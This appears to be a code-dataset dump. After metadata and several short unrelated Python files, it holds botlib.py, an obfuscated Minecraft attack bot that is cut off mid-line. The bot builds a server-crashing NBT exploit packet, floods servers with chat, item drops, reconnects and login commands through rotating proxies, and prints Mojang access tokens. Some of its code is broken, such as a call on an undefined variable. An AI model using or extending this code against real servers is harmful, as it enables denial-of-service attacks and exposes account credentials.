hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
77b9bf90a7230c8eb66987139ae009b7d07600d7
28
py
Python
data/studio21_generated/introductory/3437/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
data/studio21_generated/introductory/3437/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
data/studio21_generated/introductory/3437/starter_code.py
vijaykumawat256/Prompt-Summarization
614f5911e2acd2933440d909de2b4f86653dc214
[ "Apache-2.0" ]
null
null
null
def decipher_this(string):
14
26
0.785714
4
28
5.25
1
0
0
0
0
0
0
0
0
0
0
0
0.107143
28
2
27
14
0.84
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
77d35d8c4bce00c3be9060577581a6cda954b0b3
497
py
Python
code/project-euler/src/006.py
taseikyo/til
8f703e69a49cbd9854062b102ba307c775d43a56
[ "MIT" ]
1
2021-09-01T14:39:12.000Z
2021-09-01T14:39:12.000Z
code/project-euler/src/006.py
taseikyo/til
8f703e69a49cbd9854062b102ba307c775d43a56
[ "MIT" ]
null
null
null
code/project-euler/src/006.py
taseikyo/til
8f703e69a49cbd9854062b102ba307c775d43a56
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Date : 2019-07-10 15:18:29 # @Author : Lewis Tian (taseikyo@gmail.com) # @Link : github.com/taseikyo # @Version : Python3.7 # https://projecteuler.net/problem=6 # (1 + 2 + ... 100)^2 - (1^2 + 2^2 + ... 100^2) = # 2 * [(1*2 + 1*3 + ... 1*100) + (2*3 + 2*4 + ... 2*100 + ) + ... (99*100)] def main(): return 2 * sum(x * y for x in range(1, 101) for y in range(x + 1, 101)) if __name__ == "__main__": # 25164150 print(main())
23.666667
75
0.521127
83
497
3.024096
0.60241
0.023904
0.039841
0
0
0
0
0
0
0
0
0.186352
0.2334
497
20
76
24.85
0.472441
0.672032
0
0
0
0
0.052288
0
0
0
0
0
0
1
0.25
true
0
0
0.25
0.5
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
0
0
0
4
77d9e277a87bc70b3d9e76f543f78152a14aab68
113
py
Python
terrascript/provider/dme.py
hugovk/python-terrascript
08fe185904a70246822f5cfbdc9e64e9769ec494
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
terrascript/provider/dme.py
hugovk/python-terrascript
08fe185904a70246822f5cfbdc9e64e9769ec494
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
terrascript/provider/dme.py
hugovk/python-terrascript
08fe185904a70246822f5cfbdc9e64e9769ec494
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# terrascript/provider/dme.py import terrascript class dme(terrascript.Provider): pass __all__ = ["dme"]
11.3
32
0.725664
13
113
6
0.615385
0.487179
0
0
0
0
0
0
0
0
0
0
0.159292
113
9
33
12.555556
0.821053
0.238938
0
0
0
0
0.035714
0
0
0
0
0
0
1
0
false
0.25
0.25
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
77fd1586fdea303a626d9da9e14f49e2048117ae
101
py
Python
tests/test_benchmark/script.py
r-mllr/snakemake
ee0d5b17311c9126d89b49eec70045a9fdd6bd9c
[ "MIT" ]
2
2020-02-21T08:58:16.000Z
2020-02-21T08:58:30.000Z
tests/test_benchmark/script.py
r-mllr/snakemake
ee0d5b17311c9126d89b49eec70045a9fdd6bd9c
[ "MIT" ]
1
2019-10-27T22:13:59.000Z
2019-10-28T22:07:21.000Z
tests/test_benchmark/script.py
r-mllr/snakemake
ee0d5b17311c9126d89b49eec70045a9fdd6bd9c
[ "MIT" ]
1
2021-07-13T16:47:38.000Z
2021-07-13T16:47:38.000Z
#!/usr/bin/env python3 import sys import time print('Hello World!', file=sys.stderr) time.sleep(1)
12.625
38
0.722772
17
101
4.294118
0.823529
0
0
0
0
0
0
0
0
0
0
0.022472
0.118812
101
7
39
14.428571
0.797753
0.207921
0
0
0
0
0.151899
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.25
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
77fdb1efa69d35e544141d9260077bfa19fcd154
63
py
Python
FlaskApp/db/__init__.py
schmocker/Pyjamas
52a72d6e8b915f77a2194d4e7d53c46d0ec28c17
[ "MIT" ]
2
2018-05-31T15:02:08.000Z
2018-07-11T11:02:44.000Z
FlaskApp/db/__init__.py
schmocker/Pyjamas
52a72d6e8b915f77a2194d4e7d53c46d0ec28c17
[ "MIT" ]
null
null
null
FlaskApp/db/__init__.py
schmocker/Pyjamas
52a72d6e8b915f77a2194d4e7d53c46d0ec28c17
[ "MIT" ]
null
null
null
from .db_main import Connection, Model_used, Model, Agent, User
63
63
0.809524
10
63
4.9
0.9
0
0
0
0
0
0
0
0
0
0
0
0.111111
63
1
63
63
0.875
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
7ae743361f211f46f5c315433cd3dae03e282ab4
789
py
Python
template/utils/tests/test_imports.py
mscheltienne/template-python
252c3f4a04197da4de8cc17e3ff96e2f553aca2a
[ "MIT" ]
null
null
null
template/utils/tests/test_imports.py
mscheltienne/template-python
252c3f4a04197da4de8cc17e3ff96e2f553aca2a
[ "MIT" ]
5
2021-12-09T18:57:02.000Z
2021-12-10T15:42:12.000Z
template/utils/tests/test_imports.py
mscheltienne/template-python
252c3f4a04197da4de8cc17e3ff96e2f553aca2a
[ "MIT" ]
null
null
null
"""Test _imports.py""" import pytest from .._imports import import_optional_dependency def test_import_optional_dependency(): """Test the import of optional dependencies.""" # Test import of present package numpy = import_optional_dependency("numpy") assert isinstance(numpy.__version__, str) # Test import of absent package with pytest.raises(ImportError, match="Missing optional dependency"): import_optional_dependency("non_existing_pkg", raise_error=True) # Test import of absent package without raise pkg = import_optional_dependency("non_existing_pkg", raise_error=False) assert pkg is None # Test extra with pytest.raises(ImportError, match="blabla"): import_optional_dependency("non_existing_pkg", extra="blabla")
31.56
75
0.745247
96
789
5.84375
0.385417
0.224599
0.256684
0.144385
0.442068
0.238859
0.171123
0.171123
0
0
0
0
0.1673
789
24
76
32.875
0.853881
0.2218
0
0
0
0
0.153333
0
0
0
0
0
0.181818
1
0.090909
false
0
0.818182
0
0.909091
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
7afe57ce16de4a3e9e2eb59151fd3005ebaa28a9
58,048
py
Python
botlib.py
Liuuux2/LPBots
e595c6126e3a851f28e53e3bfc27de4a94a15bd7
[ "MIT" ]
null
null
null
botlib.py
Liuuux2/LPBots
e595c6126e3a851f28e53e3bfc27de4a94a15bd7
[ "MIT" ]
null
null
null
botlib.py
Liuuux2/LPBots
e595c6126e3a851f28e53e3bfc27de4a94a15bd7
[ "MIT" ]
null
null
null
# coding=utf-8 from SyncPrint import * mchars ='SXYdefghilmnopZ1234\\/56789!aTUVWbcqrstuvwxyzABPCDEFILMNOGHQR' import socks ,urllib2 ,struct ,threading , time ,binascii ,hashlib ,re ,sys ,random ,string ,ProxyManager ,socket ,io import struct import json from uuid import UUID import requests from simplejson import dumps as json_dumps from Crypto .Cipher import AES from Crypto import Random from Crypto .PublicKey import RSA import getpass from optparse import OptionParser from io import BytesIO from minecraft import authentication from minecraft.exceptions import YggdrasilError from minecraft.networking.connection import Connection from minecraft.networking.packets import BlockPlacementPacket, PacketBuffer, ChatMessagePacket, ChatPacket from minecraft.compat import input def tag_id_and_name(nbt_id, name, data): data.write(struct.pack('>b', nbt_id)) name = name.encode('utf-8') data.write(struct.pack('>h', len(name))) data.write(name) def write_lists(recursion_count, data): if recursion_count > 4: return tag_id_and_name(9, "", data) data.write(struct.pack('>b', 9)) data.write(struct.pack('>i', 10)) for i in range(10): write_lists(recursion_count + 1, data) def generate_exploitative_nbt(): data = BytesIO() tag_id_and_name(10, "rekt", data) for i in range(300): if i % 20 == 0: print("List count: " + str(i)) write_lists(0, data) data.write(struct.pack('>b', 0)) return data.getvalue() def main(): exploit_data = generate_exploitative_nbt() print("Tamaño del exploit: " + str(len(exploit_data))) exploit_packet_data = PacketBuffer() exploit_packet = BlockPlacementPacket() exploit_packet.position = 0 exploit_packet.face = 0 exploit_packet.held_item_id = 1 exploit_packet.held_item_count = 1 exploit_packet.held_item_damage = 0 exploit_packet.held_item_nbt = exploit_data exploit_packet.cursor_position_x = 0 exploit_packet.cursor_position_y = 0 exploit_packet.cursor_position_z = 0 exploit_packet.write(exploit_packet_data, compression_threshold=500) exploit_packet_data = exploit_packet_data.get_writable() print("Exploit Size - " + str(len(exploit_packet_data))) def dummy (OOOOOOO0OOOO0OO0O ,OOO0OOOOO0O0OOOO0 ): pass ids =[46 ,49 ,7 ,57 ,322 ] def _OO000OO0O0O0OO0O0 (O00OOO0OOOO0O0O00 ): OOOO00O000000O0OO =O00OOO0OOOO0O0O00 .find ('\x00') if OOOO00O000000O0OO >0 : return O00OOO0OOOO0O0O00 [OOOO00O000000O0OO +1 :] def _OOOOOO0O00OOOO0OO (OO0O000OOO0OO0OO0 ): assert len (OO0O000OOO0OO0OO0 )<117 OOOOOO0O0OOO0O0O0 ="" while len (OOOOOO0O0OOO0O0O0 )<125 -len (OO0O000OOO0OO0OO0 ): O0OOOOOOO0OO0OOOO =Random .get_random_bytes (1 ) if O0OOOOOOO0OO0OOOO !='\x00': OOOOOO0O0OOO0O0O0 +=O0OOOOOOO0OO0OOOO return '\x00\x02%s\x00%s'%(OOOOOO0O0OOO0O0O0 ,OO0O000OOO0OO0OO0 ) def generate_key_pair (): return RSA .generate (1024 ) def encode_public_key (O00OO00O0O000OO0O ): return O00OO00O0O000OO0O .publickey ().exportKey (format ="DER") def generate_random_bytes (OO000OO0O0OOO0OOO ): return Random .get_random_bytes (OO000OO0O0OOO0OOO ) def generate_challenge_token (): return generate_random_bytes (4 ) def generate_server_id (): return "".join ("%02x"%ord (O0OOOO0OO0OO00OO0 )for O0OOOO0OO0OO00OO0 in generate_random_bytes (10 )) def decrypt_with_private_key (O00OOO00O0O0O0O0O ,O0000OOOOO00OOOO0 ): return _OO000OO0O0O0OO0O0 (O0000OOOOO00OOOO0 .decrypt (O00OOO00O0O0O0O0O )) def generated_cipher (O0O000OO0O000O0O0 ): return AES .new (O0O000OO0O000O0O0 ,AES .MODE_CFB ,O0O000OO0O000O0O0 ) def decode_public_key (O0000OOO000O0OO0O ): return RSA .importKey (O0000OOO000O0OO0O ) def generate_shared_secret (): return generate_random_bytes (16 ) def encrypt_with_public_key (OO00O0O00OOOOOOOO ,OO00000OO0OO00000 ): return OO00000OO0OO00000 .encrypt (_OOOOOO0O00OOOO0OO (OO00O0O00OOOOOOOO ),0 )[0 ] def make_server_hash (OOOO000OOO000O0OO ,OOOO00O00OO000O0O ,OOO00O00OOO00OO0O ): O0O000O0OO0O0O00O =hashlib .sha1 () O0O000O0OO0O0O00O .update (OOOO000OOO000O0OO ) O0O000O0OO0O0O00O .update (OOOO00O00OO000O0O ) O0O000O0OO0O0O00O .update (encode_public_key (OOO00O00OOO00OO0O )) O0OO0O0O000OOOOO0 =long (O0O000O0OO0O0O00O .hexdigest (),16 ) if O0OO0O0O000OOOOO0 >>39 *4 &0x8 : return "-%x"%((-O0OO0O0O000OOOOO0 )&(2 **(40 *4 )-1 )) return "%x"%O0OO0O0O000OOOOO0 def join_server (OO00O0OOO0OOOOO00 ,OOO00OOO0O00O0OO0 ): OO0O0O0O00OOO0O00 =requests .post ('https://sessionserver.mojang.com/session/minecraft/join',data =json_dumps ({'accessToken':OO00O0OOO0OOOOO00 .access_token ,'selectedProfile':OO00O0OOO0OOOOO00 .uuid_hex ,'serverId':OOO00OOO0O00O0OO0 ,}),headers ={'Content-Type':'application/json','User-Agent':None ,}) return OO0O0O0O00OOO0O00 .status_code in (200 ,204 ) def check_player (OO0OOOOOO0OO0OO00 ,OOOO00O0OOOOOOOOO ): O00O0000000OOOO00 =requests .get ('https://sessionserver.mojang.com/session/minecraft/hasJoined?username=%s&serverId=%s'%(OO0OOOOOO0OO0OO00 ,OOOO00O0OOOOOOOOO )) return None if O00O0000000OOOO00 .status_code !=200 else O00O0000000OOOO00 .json () class Session (object ): YGGDRASIL_BASE ="https://authserver.mojang.com" @classmethod def make_client_token (OOOOOOOOO0OOO00O0 ): return "".join ("%02x"%ord (O000OOOO0O0OOOO0O )for O000OOOO0O0OOOO0O in generate_random_bytes (16 )) @classmethod def from_credentials (O0OOOO000OO0OO0O0 ,OOOO0000000OOOO0O ,OO0OOOOOOOOO00OO0 ,client_token =None ): if client_token is None : client_token =O0OOOO000OO0OO0O0 .make_client_token () OO0OOO0000O00OOOO =O0OOOO000OO0OO0O0 .do_request ("/authenticate",{'agent':{'name':'Minecraft','version':1 ,},'username':OOOO0000000OOOO0O ,'password':OO0OOOOOOOOO00OO0 ,'clientToken':client_token ,}) syncprint (OO0OOO0000O00OOOO ) syncprint (OO0OOO0000O00OOOO ['accessToken']) return O0OOOO000OO0OO0O0 (OO0OOO0000O00OOOO ['accessToken'],OO0OOO0000O00OOOO ['selectedProfile']['name'],OO0OOO0000O00OOOO ['selectedProfile']['id']) @classmethod def from_access_token (O00OOOO0O000O0OOO ,O00OOO0OOOOO0OOOO ): OO0OOO0OOO00O000O =O00OOOO0O000O0OOO .do_request ("/refresh",{'accessToken':O00OOO0OOOOO0OOOO }) return O00OOOO0O000O0OOO (OO0OOO0OOO00O000O ['accessToken'],OO0OOO0OOO00O000O ['selectedProfile']['name'],OO0OOO0OOO00O000O ['selectedProfile']['id']) @classmethod def from_authinfo (OO0OO0OOO0OO0O00O ,O0OO0O00O00O0OO00 ,OO00000O0O0OO0000 ,OOO0OO00OOOOO0O00 ): return OO0OO0OOO0OO0O00O (O0OO0O00O00O0OO00 ,OO00000O0O0OO0000 ,OOO0OO00OOOOO0O00 ,) def __init__ (OOO000OO00OOO0O00 ,OOOO00O00O000OOO0 ,O0OO00OO000OOO0O0 ,O00O0O00O000OO000 ): OOO000OO00OOO0O00 ._access_token =OOOO00O00O000OOO0 OOO000OO00OOO0O00 ._player_ign =O0OO00OO000OOO0O0 OOO000OO00OOO0O00 ._uuid =UUID (O00O0O00O000OO000 ) def refresh (OO00000000O00OOO0 ): return Session (OO00000000O00OOO0 ._access_token ) @property def player_ign (O0OO0OOO0O0OOOOO0 ): return O0OO0OOO0O0OOOOO0 ._player_ign @property def uuid (O00OO0OOOO0OO0OO0 ): return str (O00OO0OOOO0OO0OO0 ._uuid ) @property def uuid_hex (OOO0OO00000000O0O ): return OOO0OO00000000O0O ._uuid .hex @property def access_token (OOO0O0O0OO000O0O0 ): return OOO0O0O0OO000O0O0 ._access_token @property def session_id (O0O00000000O0O000 ): return 'token:%s:%s'%(O0O00000000O0O000 ._access_token ,O0O00000000O0O000 .uuid_hex ) def __str__ (O000O0O0O00O0OO0O ): return "<Session: %s (%s) (accessToken: %s)>"%(O000O0O0O00O0OO0O ._player_ign ,O000O0O0O00O0OO0O ._uuid ,O000O0O0O00O0OO0O ._access_token ) def validate (O0OO000OO0OO0O00O ): OOO0OO0OOOO000O00 =requests .post (O0OO000OO0OO0O00O .YGGDRASIL_BASE +"/validate",data =json_dumps ({'accessToken':O0OO000OO0OO0O00O ._access_token })) return OOO0OO0OOOO000O00 .status_code in (200 ,204 ) def invalidate (O000O0O000O0OO00O ): O0O0OOO00O0OOO000 =requests .post (O000O0O000O0OO00O .YGGDRASIL_BASE +"/invalidate",data =json_dumps ({'accessToken':O000O0O000O0OO00O ._access_token })) return O0O0OOO00O0OOO000 .status_code in (200 ,204 ) @classmethod def do_request (O00000O0O0O0OOOO0 ,O00O0OO0OO000O000 ,OO0000OOO0O0OOO0O ): try : O0000000OOOO0O0OO =requests .post (O00000O0O0O0OOOO0 .YGGDRASIL_BASE +O00O0OO0OO000O000 ,data =json_dumps (OO0000OOO0O0OOO0O )) if not O0000000OOOO0O0OO .ok : try : O0O0OO0O00O0OOOO0 =O0000000OOOO0O0OO .json ()['errorMessage'] except : O0O0OO0O00O0OOOO0 ="unknown error" raise SessionException ("%d: %s"%(O0000000OOOO0O0OO .status_code ,O0O0OO0O00O0OOOO0 )) O00O00O0000OO000O =O0000000OOOO0O0OO .json () return O00O00O0000OO000O except Exception as OO000OO0OO0O000O0 : syncprint (str (OO000OO0OO0O000O0 )) def encode_varint (OOO0O00OO0OO0O00O ): return "".join (encode_varint_stream ([OOO0O00OO0OO0O00O ])) def decode_varint (OOOO0O00O0O0OO000 ): return decode_varint_stream (OOOO0O00O0O0OO000 ).next () def encode_varint_stream (O0O00OOO000OO00OO ): for O0000000O00000O00 in O0O00OOO000OO00OO : while True : if O0000000O00000O00 >127 : yield chr ((1 <<7 )|(O0000000O00000O00 &0x7f )) O0000000O00000O00 >>=7 else : yield chr (O0000000O00000O00 ) break def decode_varint_stream (OO000O0000O00O0OO ): O0OO0O00OOOOO0O00 =0 OO0000OOO00O00OOO =1 for O0OO0O0OO00O000OO in OO000O0000O00O0OO : OOOO0000000OO00O0 =ord (O0OO0O0OO00O000OO ) O0OO0O00OOOOO0O00 +=(OOOO0000000OO00O0 &0x7f )*OO0000OOO00O00OOO if (OOOO0000000OO00O0 &0x80 ): OO0000OOO00O00OOO *=128 else : yield O0OO0O00OOOOO0O00 O0OO0O00OOOOO0O00 =0 OO0000OOO00O00OOO =1 def CraftString (O000O00O0000O000O ): return encode_varint (len (O000O00O0000O000O ))+O000O00O0000O000O .encode ('utf_8') def CraftStringMed (OOO00OO0000O0O0OO ): return struct .pack ('>h',len (OOO00OO0000O0O0OO ))+'\x00'+'\x00'.join (list (OOO00OO0000O0O0OO )) def sr (size =6 ,chars =string .ascii_uppercase +string .digits ): return ''.join (random .choice (chars )for _OO0O0O000OO0O0OOO in range (size )) def CraftStringOld (OOO0OO000OO000000 ): O00O0OOO0OOOO0O00 ='\x00'+'\x00'.join (list (OOO0OO000OO000000 )) return chr (len (OOO0OO000OO000000 ))+O00O0OOO0OOOO0O00 class CraftPlayer : _AES =None _session =None _printChat =True _nickname ='' _password ='' _protonum =210 _proxy ='' _sessionId ='' _loggedIn =False _server ='' _coordX =0 _coordY =0 _coordZ =0 _sdebug =False _attacks =False _prependFlood =False _packet_len =-1 ; _threshold =-1 ; _packet =None ; _old_packet_id =0 def SendPacket (O0OO0000OOOOOOO00 ,OOOO0O0OO00OO0O0O ): O0OO0000OOOOOOO00 ._sendBytes (str (encode_varint (len (OOOO0O0OO00OO0O0O )))+str (OOOO0O0OO00OO0O0O )) def _action (OO0OOOO0O00O0OO00 ): try : OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString (OO0OOOO0O00O0OO00 ._queuedMessages .pop (0 ))) except : pass try : if OO0OOOO0O00O0OO00 ._connreconn : OO0OOOO0O00O0OO00 ._socket .close () OO0OOOO0O00O0OO00 ._connreconn =False for OOO0000OO0O0000OO in OO0OOOO0O00O0OO00 ._attacks : if OOO0000OO0O0000OO =='sM': OO0OOOO0O00O0OO00 ._attacks .remove ('sM') OO0000OO0OO00OO0O =OO0OOOO0O00O0OO00 ._prependFlood O000O0OO00O000000 =OO0OOOO0O00O0OO00 ._msg if O000O0OO00O000000 =='': OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString (OO0000OO0OO00OO0O +''.join ((random .choice (mchars )for O0000OO0OO0OOOO0O in range (random .randint (8 ,90 -len (OO0000OO0OO00OO0O ))))))) else : OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString (O000O0OO00O000000 )) if OOO0000OO0O0000OO =='chatFlood': OO0000OO0OO00OO0O =OO0OOOO0O00O0OO00 ._prependFlood O000O0OO00O000000 =OO0OOOO0O00O0OO00 ._msg if O000O0OO00O000000 =='': OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString (OO0000OO0OO00OO0O +''.join ((random .choice (mchars )for OOO00O0OO00O0O0OO in range (random .randint (8 ,90 -len (OO0000OO0OO00OO0O ))))))) else : OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString (O000O0OO00O000000 )) if OOO0000OO0O0000OO =='creativeDrop': OO0OOOO0O00O0OO00 .SendPacket ('k\xff\xff'+struct .pack ('>h',random .choice (ids ))+'@\x00\x00') if OOO0000OO0O0000OO =='tO': syncprint ('Exploit - Empezando..') main() connection.write_raw(exploit_packet_data) if OOO0000OO0O0000OO =='pFlood': OOO0000OO0O0000OO =0 OO0OOOO0O00O0OO00 ._socket .sendall ('\x01'+CraftString ('aaaaaaaaaaaaaaa;'+'a'*500 )) OO0OOOO0O00O0OO00 ._socket .close () if OOO0000OO0O0000OO =='reconnectFlood': OO0OOOO0O00O0OO00 ._socket .close () OO0OOOO0O00O0OO00 ._log ('Reconnecting...') if OOO0000OO0O0000OO =='authFlood': OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString ("/register asdasidijasdijoaiosdjio")) OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString ("/register asdasidijasdijoaiosdjio")) OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString ("/login asdasidijasdijoaiosdjio")) OO0OOOO0O00O0OO00 .SendPacket ('\x01'+CraftString ("/login asdasidijasdijoaiosdjio")) except : pass def __init__ (OO0OO0O000OOOOO0O ,O00000O0O0O000000 ,password ='',protonum =210 ,proxy ='',server ='',hostx ='',portx ='',isOffline =False ,printchat =True ,debug =False ,attacks =[],prependFlood ='',msg ='Attack by LPBot (BETA)',count =5 ,callback =dummy ,eventHook =None ): OO0OO0O000OOOOO0O ._queuedMessages =list () OO0OO0O000OOOOO0O ._kre =False OO0OO0O000OOOOO0O ._eHook =eventHook OO0OO0O000OOOOO0O ._connreconn =False OO0OO0O000OOOOO0O ._msg =msg OO0OO0O000OOOOO0O ._count =count OO0OO0O000OOOOO0O ._nickname =O00000O0O0O000000 OO0OO0O000OOOOO0O ._password =password OO0OO0O000OOOOO0O ._protonum =protonum OO0OO0O000OOOOO0O ._printChat =printchat OO0OO0O000OOOOO0O ._server =server OO0OO0O000OOOOO0O ._isOffline =isOffline OO0OO0O000OOOOO0O ._hostx =hostx OO0OO0O000OOOOO0O ._portx =portx if proxy !=None : OO0OO0O000OOOOO0O ._proxy =ProxyManager .getProxy () OO0OO0O000OOOOO0O ._loggedIn =False OO0OO0O000OOOOO0O ._sdebug =debug OO0OO0O000OOOOO0O ._attacks =attacks OO0OO0O000OOOOO0O ._prependFlood =prependFlood OO0OO0O000OOOOO0O ._callback =callback OO0OO0O000OOOOO0O ._isConnected =False return def _connect (O0OOOOO00OOO00000 ): try : O0OOOOO00OOO00000 ._socket .close () except : pass if O0OOOOO00OOO00000 ._password !="": syncprint (O0OOOOO00OOO00000 ._password ) O0OOOOO00OOO00000 ._session =Session .from_credentials (O0OOOOO00OOO00000 ._nickname ,O0OOOOO00OOO00000 ._password ) syncprint (O0OOOOO00OOO00000 ._password ) O0OOOOO00OOO00000 ._socket =socks .socksocket () O0OOOOO00OOO00000 ._socket .settimeout (15 ) try : O0OOOOO00OOO00000 ._proxtype =O0OOOOO00OOO00000 ._proxy .split ('|')[0 ] O0OOOOO00OOO00000 ._proxport =O0OOOOO00OOO00000 ._proxy .split (':')[1 ] O0OOOOO00OOO00000 ._proxserver =O0OOOOO00OOO00000 ._proxy .split (':')[0 ].split ('|')[1 ] O0OOOOO00OOO00000 ._socket .setproxy (eval ("socks.PROXY_TYPE_"+O0OOOOO00OOO00000 ._proxtype ),O0OOOOO00OOO00000 ._proxserver ,int (O0OOOOO00OOO00000 ._proxport )) except : ProxyManager .badProxy (O0OOOOO00OOO00000 ._proxy ) try : _O0O0OO0OOO0000O0O =O0OOOOO00OOO00000 ._server [0 ] _O0O0O00OO0OOOO000 =O0OOOOO00OOO00000 ._server [1 ] O0OOOOO00OOO00000 ._socket .connect ((_O0O0OO0OOO0000O0O ,_O0O0O00OO0OOOO000 )) #O0OOOOO00OOO00000 .SendPacket ('n0 s3curity w4s f0und bitch') # EXPLOIT SENDS INVALID PACKETS #O0OOOOO00OOO00000 .SendPacket ('\xFE'+encode_varint (O0OOOOO00OOO00000 ._protonum )+CraftString (_O0O0OO0OOO0000O0O )+struct .pack ('>h',_O0O0O00OO0OOOO000 )+encode_varint (1 )) #Bad Login Packet At LoginRequestEvent FlameCord #O0OOOOO00OOO00000 .SendPacket ('\x00'+encode_varint (O0OOOOO00OOO00000 ._protonum )+CraftString (_O0O0OO0OOO0000O0O )+struct .pack 